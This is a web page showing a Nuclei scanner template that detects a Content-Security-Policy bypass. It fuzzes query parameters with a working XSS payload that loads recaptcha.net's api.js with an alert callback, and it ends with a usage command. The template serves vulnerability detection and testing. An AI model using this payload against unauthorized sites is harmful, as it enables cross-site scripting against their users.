Skip to content

Content-Security-Policy Bypass - reCAPTCHA Net

ID: recaptcha-net-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,recaptcha-net

id: recaptcha-net-csp-bypass
info:
name: Content-Security-Policy Bypass - reCAPTCHA Net
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,recaptcha-net
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "google.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: recaptcha_net_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://www.recaptcha.net/recaptcha/api.js?onload=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "recaptcha_net_csp_xss == true"
# digest: 4a0a004730450220009bae833531b082b32ee6aae8716b37d8625c2b762f2b3377e23795ede90c91022100a1a3a8368b8c5394d53b892578db2d54b290d30db165ff7f58987f5d367a2007:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/recaptcha-net-csp-bypass.yaml"

View on Github